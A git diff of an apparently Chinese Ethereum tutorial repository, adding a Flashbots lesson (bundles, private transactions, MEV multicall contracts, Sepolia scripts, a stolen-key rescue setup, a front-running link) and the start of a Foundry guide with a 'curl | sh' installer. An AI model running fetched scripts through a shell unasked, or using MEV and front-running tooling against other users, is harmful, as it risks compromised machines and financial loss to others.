+const wallet = new Wallet(PRIVATE_KEY)
+const transaction = {
+  to: CONTRACT_ADDRESS,
+  data: CALL_DATA
+}
+const transactionBundle = [
+    {
+      signedTransaction: SIGNED_ORACLE_UPDATE_FROM_PENDING_POOL // serialized signed transaction hex
+    },
+    {
+      signer: wallet, // ethers signer
+      transaction: transaction // ethers populated transaction object
+    }
+  ]
+```
+
+**设置执行区块** 
+Block Targeting ,每个bundle一般指向一个区块。
+如果想bundle在多个区块（包括被挖掘前的所有区块）中有效，则必须在每个区块中调用 sendBundle()。
+```
+const targetBlockNumber = (await provider.getBlockNumber()) + 1
+```
+
+**发送交易** 
+1. flashbotsProvider
+2. transactionBundle
+3. targetBlockNumber
+
+```
+  const signedTransactions = await flashbotsProvider.signBundle(transactionBundle)
+  const simulation = await flashbotsProvider.simulate(signedTransactions, targetBlockNumber)
+  console.log(JSON.stringify(simulation, null, 2))
+
+  const flashbotsTransactionResponse = await flashbotsProvider.sendBundle(
+  transactionBundle,
+  targetBlockNumber,
+  )
+```
+
+**可选的 eth_sendBundle 参数**
+```
+{
+  minTimestamp, // optional minimum timestamp at which this bundle is valid (inclusive)
+  maxTimestamp, // optional maximum timestamp at which this bundle is valid (inclusive)
+  revertingTxHashes: [tx1, tx2] // optional list of transaction hashes allowed to revert. Without specifying here, any revert invalidates the entire bundle.
+}
+
+bundle可以含有失败的交易
+```
+
+**Paying for your bundle**
+除了要付gasfee，也可以设置条件支付矿工费用:
+```
+block.coinbase.transfer(_minerReward) or block.coinbase.call{value: _minerReward}("");
+
+```
+
+**Sending a Private Transaction**
+只是发送一笔交易且不用捆绑交易，可以直接用sendPrivateTransaction， 会在25个区块内打包
+```
+const tx = {
+    from: wallet.address,
+    to: wallet.address,
+    value: "0x42",
+    gasPrice: BigNumber.from(99).mul(1e9), // 99 gwei
+    gasLimit: BigNumber.from(21000),
+}
+const privateTx = {
+    transaction: tx,
+    signer: wallet,
+}
+
+const res = await flashbotsProvider.sendPrivateTransaction(privateTx)
+```
+
+
+**查询交易状态** 
+https://protect-sepolia.flashbots.net/tx
+https://blocks.flashbots.net/
+
+### 环境
+- ETHEREUM_RPC_URL - Ethereum RPC endpoint. Can not be the same as FLASHBOTS_RPC_URL
+- PRIVATE_KEY_EXECUTOR - 被盗私钥账户
+- PRIVATE_KEY_SPONSOR - 付款给矿工gasfee的账户
+- RECIPIENT - Ethereum EOA to receive assets from ZERO_GAS account
+- FLASHBOTS_RELAY_SIGNING_KEY - Optional param, private key used to sign messages to Flashbots to establish reputation of profitability
+
+
+### run
+```
+ npx hardhat run scripts/send-1559-flashbot.js --network sepolia 
+``` 
+
+### 套利机器人
+https://github.com/flashbots/simple-arbitrage/blob/master/contracts/BundleExecutor.sol
+todo
+
+## 参考链接
+
+- MEV in 2021 - a year in review: https://www.youtube.com/watch?v=V_wlCeVWMgk
+- flashbots-bundle github: https://github.com/flashbots/ethers-provider-flashbots-bundle
+- flashbot youtube : https://www.youtube.com/watch?v=V_wlCeVWMgk
+- flashbots github: https://github.com/flashbots/pm#resources  
+- flashbots doc: https://docs.flashbots.net/new-to-mev
+- Eden Network 介绍: https://imtoken.fans/t/topic/41713
+- Eden Network 官方文档: https://docs.edennetwork.io/mechanism  
+- flashbots 介绍: https://www.chainnews.com/zh-hant/articles/008263592610.htm  
+- flashbots 官网文档: https://docs.flashbots.net/new-to-mev  
+- blocknative:https://www.blocknative.com/blog/flashbots?utm_campaign=MEV&utm_medium=email&_hsmi=186954588&_hsenc=p2ANqtz-9CqQ6OB52h7Sx9VLFDspHcAxfN66k_EOARwGtRkJXxJdNRvBAk0kaQNhKxwYwZ8nz99SyyaKCQrdF-5r_3Jm9siVO9lw&utm_content=186955925&utm_source=hs_email
+- front-running: https://github.com/Supercycled/cake_sniper
+- Flashbots Docs: https://docs.flashbots.net/flashbots-mev-boost/introduction
+- How to create and send Flashbot transactions: https://ethereum.stackexchange.com/questions/98494/how-to-create-and-send-flashbot-transactions
+
+- blocknative: https://www.blocknative.com/mev-protection
\ No newline at end of file
diff --git a/basic/40-Flashbots/contracts/BundleExecutor.sol b/basic/40-Flashbots/contracts/BundleExecutor.sol
new file mode 100644
index 000000000..a3505a94e
--- /dev/null
+++ b/basic/40-Flashbots/contracts/BundleExecutor.sol
@@ -0,0 +1,79 @@
+//SPDX-License-Identifier: UNLICENSED
+pragma solidity 0.8.0;
+
+interface IERC20 {
+    event Approval(address indexed owner, address indexed spender, uint value);
+    event Transfer(address indexed from, address indexed to, uint value);
+
+    function name() external view returns (string memory);
+    function symbol() external view returns (string memory);
+    function decimals() external view returns (uint8);
+    function totalSupply() external view returns (uint);
+    function balanceOf(address owner) external view returns (uint);
+    function allowance(address owner, address spender) external view returns (uint);
+
+    function approve(address spender, uint value) external returns (bool);
+    function transfer(address to, uint value) external returns (bool);
+    function transferFrom(address from, address to, uint value) external returns (bool);
+}
+
+interface IWETH is IERC20 {
+    function deposit() external payable;
+    function withdraw(uint) external;
+}
+
+// This contract simply calls multiple targets sequentially, ensuring WETH balance before and after
+
+contract FlashBotsMultiCall {
+    address private immutable owner;
+    address private immutable executor;
+    IWETH private constant WETH = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
+
+    modifier onlyExecutor() {
+        require(msg.sender == executor);
+        _;
+    }
+
+    modifier onlyOwner() {
+        require(msg.sender == owner);
+        _;
+    }
+
+    constructor(address _executor)  payable {
+        owner = msg.sender;
+        executor = _executor;
+        if (msg.value > 0) {
+            WETH.deposit{value: msg.value}();
+        }
+    }
+
+    receive() external payable {
+    }
+
+    function uniswapWeth(uint256 _wethAmountToFirstMarket, uint256 _ethAmountToCoinbase, address[] memory _targets, bytes[] memory _payloads) external onlyExecutor payable {
+        require (_targets.length == _payloads.length);
+        uint256 _wethBalanceBefore = WETH.balanceOf(address(this));
+        WETH.transfer(_targets[0], _wethAmountToFirstMarket);
+        for (uint256 i = 0; i < _targets.length; i++) {
+            (bool _success, bytes memory _response) = _targets[i].call(_payloads[i]);
+            require(_success); _response;
+        }
+
+        uint256 _wethBalanceAfter = WETH.balanceOf(address(this));
+        require(_wethBalanceAfter > _wethBalanceBefore + _ethAmountToCoinbase);
+        if (_ethAmountToCoinbase == 0) return;
+
+        uint256 _ethBalance = address(this).balance;
+        if (_ethBalance < _ethAmountToCoinbase) {
+            WETH.withdraw(_ethAmountToCoinbase - _ethBalance);
+        }
+        block.coinbase.transfer(_ethAmountToCoinbase);
+    }
+
+    function call(address payable _to, uint256 _value, bytes calldata _data) external onlyOwner payable returns (bytes memory) {
+        require(_to != address(0));
+        (bool _success, bytes memory _result) = _to.call{value: _value}(_data);
+        require(_success);
+        return _result;
+    }
+}
\ No newline at end of file
diff --git a/basic/40-Flashbots/contracts/FlashbotsCheckAndSend.sol b/basic/40-Flashbots/contracts/FlashbotsCheckAndSend.sol
new file mode 100644
index 000000000..f68465c60
--- /dev/null
+++ b/basic/40-Flashbots/contracts/FlashbotsCheckAndSend.sol
@@ -0,0 +1,59 @@
+//SPDX-License-Identifier: MIT
+pragma solidity 0.8.0;
+// pragma experimental ABIEncoderV2;
+
+/*
+  Copyright 2021 Flashbots: Scott Bigelow (scott@flashbots.net).
+*/
+
+// This contract performs one or many staticcall's, compares their output, and pays
+// the miner directly if all calls exactly match the specified result
+// For how to use this script, read the Flashbots searcher docs: https://github.com/flashbots/pm/blob/main/guides/searcher-onboarding.md
+contract FlashbotsCheckAndSend {
+    function check32BytesAndSend(address _target, bytes memory _payload, bytes32 _resultMatch) external payable {
+        _check32Bytes(_target, _payload, _resultMatch);
+        block.coinbase.transfer(msg.value);
+    }
+
+    function check32BytesAndSendMulti(address[] memory _targets, bytes[] memory _payloads, bytes32[] memory _resultMatches) external payable {
+        require (_targets.length == _payloads.length);
+        require (_targets.length == _resultMatches.length);
+        for (uint256 i = 0; i < _targets.length; i++) {
+            _check32Bytes(_targets[i], _payloads[i], _resultMatches[i]);
+        }
+        block.coinbase.transfer(msg.value);
+    }
+
+    function checkBytesAndSend(address _target, bytes memory _payload, bytes memory _resultMatch) external payable {
+        _checkBytes(_target, _payload, _resultMatch);
+        block.coinbase.transfer(msg.value);
+    }
+
+    function checkBytesAndSendMulti(address[] memory _targets, bytes[] memory _payloads, bytes[] memory _resultMatches) external payable {
+        require (_targets.length == _payloads.length);
+        require (_targets.length == _resultMatches.length);
+        for (uint256 i = 0; i < _targets.length; i++) {
+            _checkBytes(_targets[i], _payloads[i], _resultMatches[i]);
+        }
+        block.coinbase.transfer(msg.value);
+    }
+
+    // ======== INTERNAL ========
+
+    function _check32Bytes(address _target, bytes memory _payload, bytes32 _resultMatch) internal view {
+        (bool _success, bytes memory _response) = _target.staticcall(_payload);
+        require(_success, "!success");
+        require(_response.length >= 32, "response less than 32 bytes");
+        bytes32 _responseScalar;
+        assembly {
+            _responseScalar := mload(add(_response, 0x20))
+        }
+        require(_responseScalar == _resultMatch, "response mismatch");
+    }
+
+    function _checkBytes(address _target, bytes memory _payload, bytes memory _resultMatch) internal view {
+        (bool _success, bytes memory _response) = _target.staticcall(_payload);
+        require(_success, "!success");
+        require(keccak256(_resultMatch) == keccak256(_response), "response bytes mismatch");
+    }
+}
\ No newline at end of file
diff --git a/basic/40-Flashbots/contracts/Greeter.sol b/basic/40-Flashbots/contracts/Greeter.sol
new file mode 100644
index 000000000..efffb8fe7
--- /dev/null
+++ b/basic/40-Flashbots/contracts/Greeter.sol
@@ -0,0 +1,22 @@
+//SPDX-License-Identifier: Unlicense
+pragma solidity ^0.8.0;
+
+import "hardhat/console.sol";
+
+contract Greeter {
+    string private greeting;
+
+    constructor(string memory _greeting) {
+        console.log("Deploying a Greeter with greeting:", _greeting);
+        greeting = _greeting;
+    }
+
+    function greet() public view returns (string memory) {
+        return greeting;
+    }
+
+    function setGreeting(string memory _greeting) public {
+        console.log("Changing greeting from '%s' to '%s'", greeting, _greeting);
+        greeting = _greeting;
+    }
+}
diff --git a/basic/40-Flashbots/hardhat.config.js b/basic/40-Flashbots/hardhat.config.js
new file mode 100644
index 000000000..396eb3e46
--- /dev/null
+++ b/basic/40-Flashbots/hardhat.config.js
@@ -0,0 +1,71 @@
+require("@nomiclabs/hardhat-waffle");
+const fs = require("fs");
+require('dotenv').config()
+
+// This is a sample Hardhat task. To learn how to create your own go to
+// https://hardhat.org/guides/create-task.html
+task("accounts", "Prints the list of accounts", async () => {
+  const accounts = await ethers.getSigners();
+
+  for (const account of accounts) {
+    console.log(account.address);
+  }
+});
+
+function mnemonic() {
+
+  return process.env.PRIVATE_KEY
+ 
+ }
+
+function mnemonic_user1() {
+
+  return process.env.PRIVATE_KEY_USER1
+ 
+}
+
+/**
+ * @type import('hardhat/config').HardhatUserConfig
+ */
+module.exports = {
+  solidity: {
+    compilers: [
+      {
+        version: "0.6.12"
+      },
+      {
+        version: "0.8.0",
+        settings: {}
+      },
+      {
+        version: "0.7.6",
+        settings: {}
+      }
+    ]
+  },
+  networks: {
+    localhost: {
+      url: "http://localhost:8545",
+      //gasPrice: 125000000000,//you can adjust gasPrice locally to see how much it will cost on production
+      /*
+        notice no mnemonic here? it will just use account 0 of the hardhat node to deploy
+        (you can put in a mnemonic here to set the deployer locally)
+      */
+    },
+  
+    sepolia: {
+      url: "https://sepolia.infura.io/v3/" + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [
+        mnemonic(),
+        // mnemonic_user1()
+      ],
+    },
+    // mainnet: {
+    //   url: "https://mainnet.infura.io/v3/" + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+    //   accounts: [
+    //     mnemonic(),
+    //     mnemonic_user1()
+    //   ],
+    // },
+  }
+};
diff --git a/basic/40-Flashbots/package.json b/basic/40-Flashbots/package.json
new file mode 100644
index 000000000..86d439cd3
--- /dev/null
+++ b/basic/40-Flashbots/package.json
@@ -0,0 +1,24 @@
+{
+  "name": "38-Flashbots-and-Eden",
+  "version": "1.0.0",
+  "description": "Flashbots",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "keywords": [],
+  "author": "",
+  "license": "ISC",
+  "dependencies": {
+    "@flashbots/ethers-provider-bundle": "0.6.0",
+    "dotenv": "^10.0.0",
+    "hardhat": "^2.6.8"
+  },
+  "devDependencies": {
+    "@nomiclabs/hardhat-ethers": "^2.0.0",
+    "@nomiclabs/hardhat-waffle": "^2.0.0",
+    "chai": "^4.2.0",
+    "ethereum-waffle": "^3.0.0",
+    "ethers": "^5.0.0"
+  }
+}
diff --git a/basic/40-Flashbots/scripts/send-1559-flashbot.js b/basic/40-Flashbots/scripts/send-1559-flashbot.js
new file mode 100644
index 000000000..eb367e52e
--- /dev/null
+++ b/basic/40-Flashbots/scripts/send-1559-flashbot.js
@@ -0,0 +1,148 @@
+// We require the Hardhat Runtime Environment explicitly here. This is optional
+// but useful for running the script in a standalone fashion through `node <script>`.
+//
+// When running the script with `npx hardhat run <script>` you'll find the Hardhat
+// Runtime Environment's members available in the global scope.
+const { ethers } = require('hardhat');
+const { FlashbotsBundleProvider } = require('@flashbots/ethers-provider-bundle');
+
+const { BigNumber } = require( 'ethers');
+require('dotenv').config();
+
+function getPayLoad(contractABI, functionName, param, paramType){
+  for(let i = 0; i < contractABI.length; i++){
+    const functionABI = contractABI[i];
+    if (functionName != functionABI.name) {
+      continue;
+    }
+
+    //get sigHash of function
+    const interface = new ethers.utils.Interface(contractABI);
+    const functionSigHash = interface.getSighash(functionName);
+    console.log("sign of method:%s is %s", functionName, functionSigHash);
+
+    //encode param
+    const abiCoder = new ethers.utils.AbiCoder()
+    const codeOfParam = abiCoder.encode(paramType, [param])
+    console.log("codeOfParam:", codeOfParam);
+
+    //payload
+    const payload = functionSigHash + codeOfParam.substring(2, codeOfParam.length);
+    console.log("payload:", functionName, payload);
+    return payload;
+  }
+}
+
+async function main() {
+  // Deploy Greeter.sol
+  /* const Greeter = await ethers.getContractFactory("Greeter");
+  const greeter = await Greeter.deploy("Hello Boy");
+
+  console.log("Contract address:" , greeter.address); */
+  let chainId = 11155111;
+  // Config provider, the default is 
+  const provider = new ethers.providers.JsonRpcProvider({ url: 'https://sepolia.infura.io/v3/' + process.env.INFURA_ID }, chainId)
+  //const provider = new ethers.getDefaultProvider("goerli");
+  // Standard json rpc provider directly from ethers.js. For example you can use Infura, Alchemy, or your own node.
+  
+  // Singer
+  const signerWallet = new ethers.Wallet(process.env.PRIVATE_KEY, provider);
+  console.log("signerWallet address: ", await signerWallet.getBalance() );
+
+  const flashbotsProvider = await FlashbotsBundleProvider.create(provider, signerWallet, "https://relay-sepolia.flashbots.net", "sepolia");
+  // Flashbots provider requires passing in a standard provider and an auth signer
+  const GWEI = BigNumber.from(10).pow(9)
+  const ether = BigNumber.from(10).pow(18)
+  const wallet = new ethers.Wallet(process.env.PRIVATE_KEY_USER2);
+  console.log("wallet address: ", wallet.address);
+
+  const block = await provider.getBlock("latest");
+  const maxBaseFeeInFutureBlock =
+  FlashbotsBundleProvider.getMaxBaseFeeInFutureBlock(block.baseFeePerGas, 1);
+  const priorityFee = BigNumber.from(2).pow(13);
+
+  const signedTransactions = await flashbotsProvider.signBundle([
+      {
+        signer: wallet,
+        transaction: {
+          to: "0xaD5F438dF4e1aAA18dd538215Eeb4D46C3688C62",
+          type: 2,
+          maxFeePerGas: priorityFee.add(maxBaseFeeInFutureBlock),
+          maxPriorityFeePerGas: priorityFee,
+          gasLimit: 33000,
+          chainId: chainId,
+          value: ether.div(5) ,
+        },
+      },
+      {
+        signer: wallet,
+        transaction: {
+          to: "0x3DC9a3450a4955a2d702C655b414837F75eFE05D",
+          type: 2,
+          maxFeePerGas: priorityFee.add(maxBaseFeeInFutureBlock),
+          maxPriorityFeePerGas: priorityFee,
+          gasLimit: 43000,
+          chainId: chainId,
+          value: ether.div(10),
+        },
+      },
+    ]);
+
+
+    const blockNumber = await provider.getBlockNumber();
+
+
+    // check 
+    for (var i = 1; i <= 10; i++) {
+      const bundleSubmission = await flashbotsProvider.sendRawBundle(
+        signedTransactions,
+        blockNumber + i
+      );
+      console.log("submitted for block # ", blockNumber + i);
+
+
+      //type 2
+      const minTimestamp = (await provider.getBlock(blockNumber)).timestamp
+      const maxTimestamp = minTimestamp + 120
+
+      const bundleReceipt = await flashbotsProvider.sendRawBundle(
+        signedTransactions, // bundle we signed above
+        blockNumber + 1, // block number at which this bundle is valid
+        {
+          minTimestamp, // optional minimum timestamp at which this bundle is valid (inclusive)
+          maxTimestamp, // optional maximum timestamp at which this bundle is valid (inclusive)
+       //   revertingTxHashes: [tx1, tx2] // optional list of transaction hashes allowed to revert. Without specifying here, any revert invalidates the entire bundle.
+        })
+    
+    // const bundleSubmission = await flashbotsProvider.sendRawBundle(
+    //       signedTransactions,
+    //       blockNumber + 2); 
+    // console.log("bundleSubmission", bundleSubmission)
+
+    // if ("error" in bundleSubmission) {
+    //   console.log(`bundleSubmission Error: ${bundleSubmission.error.message}`);
+    // } else {
+    //   console.log(
+    //     `bundleSubmission Success: ${blockNumber} ${JSON.stringify(
+    //       bundleSubmission,
+    //       null,
+    //       2
+    //     )}`
+    //   );
+    // }
+
+    // await bundleSubmission.wait();
+    
+    console.log("bundles submitted");
+  }
+
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main()
+  .then(() => process.exit(0))
+  .catch((error) => {
+    console.error(error);
+    process.exit(1);
+  });
diff --git a/basic/40-Flashbots/scripts/send-flashbots-contract.js b/basic/40-Flashbots/scripts/send-flashbots-contract.js
new file mode 100644
index 000000000..d85b01102
--- /dev/null
+++ b/basic/40-Flashbots/scripts/send-flashbots-contract.js
@@ -0,0 +1,113 @@
+// We require the Hardhat Runtime Environment explicitly here. This is optional
+// but useful for running the script in a standalone fashion through `node <script>`.
+//
+// When running the script with `npx hardhat run <script>` you'll find the Hardhat
+// Runtime Environment's members available in the global scope.
+const { ethers } = require('hardhat');
+const { BigNumber } = require( 'ethers');
+const { FlashbotsBundleProvider } = require('@flashbots/ethers-provider-bundle');
+require('dotenv').config();
+
+function getPayLoad(contractABI, functionName, param, paramType){
+  for(let i = 0; i < contractABI.length; i++){
+    const functionABI = contractABI[i];
+    if (functionName != functionABI.name) {
+      continue;
+    }
+
+    //get sigHash of function
+    const interface = new ethers.utils.Interface(contractABI);
+    const functionSigHash = interface.getSighash(functionName);
+    console.log("sign of method:%s is %s", functionName, functionSigHash);
+
+    //encode param
+    const abiCoder = new ethers.utils.AbiCoder()
+    const codeOfParam = abiCoder.encode(paramType, [param])
+    console.log("codeOfParam:", codeOfParam);
+
+    //payload
+    const payload = functionSigHash + codeOfParam.substring(2, codeOfParam.length);
+    console.log("payload:", functionName, payload);
+    return payload;
+  }
+}
+
+async function main() {
+  // Deploy Greeter.sol
+   const Greeter = await ethers.getContractFactory("Greeter");
+   const greeter = await Greeter.deploy("Hello Boy");
+
+   console.log("Contract address:" , greeter.address); 
+
+  // Config provider, the default is 
+  const provider = new ethers.providers.JsonRpcProvider({ url: 'https://sepolia.infura.io/v3/' + process.env.INFURA_ID }, 11155111)
+  //const provider = new ethers.getDefaultProvider("goerli");
+  // Standard json rpc provider directly from ethers.js. For example you can use Infura, Alchemy, or your own node.
+
+  // Singer
+  const signerWallet = new ethers.Wallet(process.env.PRIVATE_KEY, provider);
+
+  const flashbotsProvider = await FlashbotsBundleProvider.create(provider, signerWallet, "https://relay-sepolia.flashbots.net", "sepolia" );
+  // Flashbots provider requires passing in a standard provider and an auth signer
+
+  // Get the playload
+  const greeterArtifact = await hre.artifacts.readArtifact("Greeter");
+  const contractPayload = getPayLoad(greeterArtifact.abi, "setGreeting", "Hello Girls", ['string']);
+  
+  const currentBlock = await provider.getBlockNumber();
+  const targetBlockNumber = currentBlock + 2;
+
+  console.log("Current block Number: ", currentBlock);
+
+  let userNonce = await signerWallet.getTransactionCount();
+
+  console.log("userNonce: ", userNonce)
+
+  const GWEI = BigNumber.from(10).pow(9)
+  const ETHER = BigNumber.from(10).pow(18)
+  const LEGACY_GAS_PRICE = GWEI.mul(2000)
+
+  const block = await provider.getBlock("latest");
+
+  const maxBaseFeeInFutureBlock =
+  FlashbotsBundleProvider.getMaxBaseFeeInFutureBlock(block.baseFeePerGas, 1);
+  const priorityFee = BigNumber.from(2).pow(13);
+
+  let chainId = 11155111;
+  // Config the transaction
+  const contractTransaction = {
+    to: greeter.address,  // Existing Greeter contract's address on goerli
+    type: 2,
+    maxFeePerGas: priorityFee.add(maxBaseFeeInFutureBlock),
+    maxPriorityFeePerGas: priorityFee,
+    data: contractPayload,
+    nonce: userNonce,
+    chainId: chainId,
+    value: 0 ,
+  }
+
+  const signedBundle = await flashbotsProvider.signBundle([
+    {
+        signer: signerWallet,
+        transaction: contractTransaction
+    }
+  ])
+
+  const simulation = await flashbotsProvider.simulate(signedBundle, targetBlockNumber);
+  console.log(JSON.stringify(simulation, null, 2))
+
+  const bundleReceipt = await flashbotsProvider.sendRawBundle(signedBundle, targetBlockNumber);
+  
+  await bundleReceipt.wait();
+  console.log("Finish");
+
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main()
+  .then(() => process.exit(0))
+  .catch((error) => {
+    console.error(error);
+    process.exit(1);
+  });
diff --git a/basic/40-Flashbots/scripts/send-private-transaction.js b/basic/40-Flashbots/scripts/send-private-transaction.js
new file mode 100644
index 000000000..aa4f0d039
--- /dev/null
+++ b/basic/40-Flashbots/scripts/send-private-transaction.js
@@ -0,0 +1,82 @@
+// We require the Hardhat Runtime Environment explicitly here. This is optional
+// but useful for running the script in a standalone fashion through `node <script>`.
+//
+// When running the script with `npx hardhat run <script>` you'll find the Hardhat
+// Runtime Environment's members available in the global scope.
+const { ethers } = require('hardhat');
+const { FlashbotsBundleProvider } = require('@flashbots/ethers-provider-bundle');
+
+const { BigNumber } = require( 'ethers');
+require('dotenv').config();
+
+
+async function main() {
+  // Deploy Greeter.sol
+  /* const Greeter = await ethers.getContractFactory("Greeter");
+  const greeter = await Greeter.deploy("Hello Boy");
+
+  console.log("Contract address:" , greeter.address); */
+  let chainId = 11155111;
+  // Config provider, the default is 
+  const provider = new ethers.providers.JsonRpcProvider({ url: 'https://sepolia.infura.io/v3/' + process.env.INFURA_ID }, chainId)
+  //const provider = new ethers.getDefaultProvider("goerli");
+  // Standard json rpc provider directly from ethers.js. For example you can use Infura, Alchemy, or your own node.
+  
+  // Singer
+  const signerWallet = new ethers.Wallet(process.env.PRIVATE_KEY, provider);
+  console.log("signerWallet address: ", await signerWallet.getBalance() );
+
+  const flashbotsProvider = await FlashbotsBundleProvider.create(provider, signerWallet, "https://relay-sepolia.flashbots.net", "sepolia");
+  // Flashbots provider requires passing in a standard provider and an auth signer
+  const GWEI = BigNumber.from(10).pow(9)
+  const ether = BigNumber.from(10).pow(18)
+  const wallet = new ethers.Wallet(process.env.PRIVATE_KEY_USER2);
+  console.log("wallet address: ", wallet.address);
+
+  const block = await provider.getBlock("latest");
+  const maxBaseFeeInFutureBlock =
+  FlashbotsBundleProvider.getMaxBaseFeeInFutureBlock(block.baseFeePerGas, 1);
+  const priorityFee = BigNumber.from(2).pow(13);
+
+  const privateTx = 
+      {
+        signer: wallet,
+        transaction: {
+          to: "0xaD5F438dF4e1aAA18dd538215Eeb4D46C3688C62",
+          type: 2,
+          maxFeePerGas: priorityFee.add(maxBaseFeeInFutureBlock),
+          maxPriorityFeePerGas: priorityFee,
+          gasLimit: 33000,
+          chainId: chainId,
+          value: ether.div(5) ,
+        },
+      }
+  
+
+
+    const blockNumber = await provider.getBlockNumber();
+
+    const minTimestamp = 1645753192;
+
+    let  maxBlockNumber = blockNumber + 10;
+  
+      const bundleSubmission = await flashbotsProvider.sendPrivateTransaction(
+        privateTx,  {maxBlockNumber, minTimestamp});
+
+
+      console.log("submitted for block # ", blockNumber );
+
+    
+    console.log("bundles submitted");
+  
+
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main()
+  .then(() => process.exit(0))
+  .catch((error) => {
+    console.error(error);
+    process.exit(1);
+  });
diff --git a/basic/40-Flashbots/scripts/send-transaction-flashbots.js b/basic/40-Flashbots/scripts/send-transaction-flashbots.js
new file mode 100644
index 000000000..7f85ec3aa
--- /dev/null
+++ b/basic/40-Flashbots/scripts/send-transaction-flashbots.js
@@ -0,0 +1,132 @@
+// We require the Hardhat Runtime Environment explicitly here. This is optional
+// but useful for running the script in a standalone fashion through `node <script>`.
+//
+// When running the script with `npx hardhat run <script>` you'll find the Hardhat
+// Runtime Environment's members available in the global scope.
+const { ethers } = require('hardhat');
+const { FlashbotsBundleProvider } = require('@flashbots/ethers-provider-bundle');
+
+const { BigNumber } = require( 'ethers');
+require('dotenv').config();
+
+function getPayLoad(contractABI, functionName, param, paramType){
+  for(let i = 0; i < contractABI.length; i++){
+    const functionABI = contractABI[i];
+    if (functionName != functionABI.name) {
+      continue;
+    }
+
+    //get sigHash of function
+    const interface = new ethers.utils.Interface(contractABI);
+    const functionSigHash = interface.getSighash(functionName);
+    console.log("sign of method:%s is %s", functionName, functionSigHash);
+
+    //encode param
+    const abiCoder = new ethers.utils.AbiCoder()
+    const codeOfParam = abiCoder.encode(paramType, [param])
+    console.log("codeOfParam:", codeOfParam);
+
+    //payload
+    const payload = functionSigHash + codeOfParam.substring(2, codeOfParam.length);
+    console.log("payload:", functionName, payload);
+    return payload;
+  }
+}
+
+async function main() {
+  // Deploy Greeter.sol
+  /* const Greeter = await ethers.getContractFactory("Greeter");
+  const greeter = await Greeter.deploy("Hello Boy");
+
+  console.log("Contract address:" , greeter.address); */
+  let chainId = 11155111;
+  // Config provider, the default is 
+  const provider = new ethers.providers.JsonRpcProvider({ url: 'https://sepolia.infura.io/v3/' + process.env.INFURA_ID }, chainId)
+  //const provider = new ethers.getDefaultProvider("goerli");
+  // Standard json rpc provider directly from ethers.js. For example you can use Infura, Alchemy, or your own node.
+  
+  // Singer
+  const signerWallet = new ethers.Wallet(process.env.PRIVATE_KEY, provider);
+  console.log("signerWallet address: ", await signerWallet.getBalance() );
+
+  const flashbotsProvider = await FlashbotsBundleProvider.create(provider, signerWallet, "https://relay-sepolia.flashbots.net", "sepolia");
+  // Flashbots provider requires passing in a standard provider and an auth signer
+  const GWEI = BigNumber.from(10).pow(9)
+  const ETHER = BigNumber.from(10).pow(18)
+  const LEGACY_GAS_PRICE = GWEI.mul(200)
+  const wallet = new ethers.Wallet(process.env.PRIVATE_KEY_USER2);
+  console.log("wallet address: ", wallet.address);
+  const signedTransactions = await flashbotsProvider.signBundle([
+      {
+        signer: wallet,
+        transaction: {
+          to: "0xaD5F438dF4e1aAA18dd538215Eeb4D46C3688C62",
+          gasPrice: LEGACY_GAS_PRICE,
+          gasLimit: 210000,
+          chainId: chainId,
+          value: ETHER.div(10) ,
+        },
+      },
+      {
+        signer: wallet,
+        transaction: {
+          to: "0xaD5F438dF4e1aAA18dd538215Eeb4D46C3688C62",
+          gasPrice: LEGACY_GAS_PRICE,
+          gasLimit: 210000,
+          chainId: chainId,
+          value: ETHER.div(20),
+        },
+      },
+    ]);
+
+
+    const blockNumber = await provider.getBlockNumber();
+
+    console.log(new Date());
+    const simulation = await flashbotsProvider.simulate(
+      signedTransactions,
+      blockNumber + 1
+    );
+    console.log(new Date());
+
+    if ("error" in simulation) {
+      console.log(`Simulation Error: ${simulation.error.message}`);
+    } else {
+      console.log(
+        `Simulation Success: ${blockNumber} ${JSON.stringify(
+          simulation,
+          null,
+          2
+        )}`
+      );
+    }
+    console.log(signedTransactions);
+  
+    for (var i = 1; i <= 10; i++) {
+      const bundleSubmission = await flashbotsProvider.sendRawBundle(
+        signedTransactions,
+        blockNumber + i
+      );
+      console.log("submitted for block # ", blockNumber + i);
+    }
+    
+    
+
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main()
+  .then(() => process.exit(0))
+  .catch((error) => {
+    console.error(error);
+    process.exit(1);
+  });
+
+
+
+  // const bundleSubmission = await flashbotsProvider.sendRawBundle(
+    //       signedTransactions,
+    //       blockNumber + 10); 
+
+    // console.log("bundles submitted", bundleSubmission);
\ No newline at end of file
diff --git a/basic/41-foundry/README-CN.md b/basic/41-foundry/README-CN.md
new file mode 100644
index 000000000..26d8141ff
--- /dev/null
+++ b/basic/41-foundry/README-CN.md
@@ -0,0 +1,540 @@
+# 使用 Foundry 进行智能合约开发
+
+[Foundry](https://github.com/gakonst/foundry) 是用 Rust 写成的以太坊智能合约开发工具，它包括三个核心工具 :
+
+- `forge`:  一套以太坊智能合约的测试框架
+- `cast`:  一组与 EVM 生态相关的实用工具，包括编码、解码、与智能合约交互等功能
+- `Anvil`: 本地以太坊节点
+- `Chisel`: Foundry 集成的 Solidity REPL。
+
+## 安装 forge、 cast、 anvil 和 chisel
+
+首先安装 foundryup， 它是 foundry 的辅助安装工具
+
+```sh
+# macos
+brew install libusb
+curl -L https://foundry.paradigm.xyz | sh
+# zsh shell
+source ~/.zshenv
+```
+
+再用 foundryup 安装 forge、 cast、 anvil 和 chisel
+
+foundryup 单独运行将安装最新的（每晚）预编译的二进制文件 :forge、 cast、 anvil 和 chisel
+
+```sh
+foundryup
+```
+
+## 用 forge 新建项目
+
+```sh
+forge init my_project
+```
+
+新建的项目结构如下 :
+
+```
+my_project
+├── foundry.toml
+├── lib
+│   └── forge-std
+|   |  └── scripts
+|   |  |  └── vm.py
+|   |  └── test
+|   |  |  └── ...
+|   |  └── src
+|   |  |  └── ...
+|   |  └── ...
+│   └── ...
+├── README.md
+└── script
+|   └── Counter.s.sol
+├── src
+│   └── Counter.sol
+└── test
+    └── Counter.t.sol
+```
+
+其中 :
+
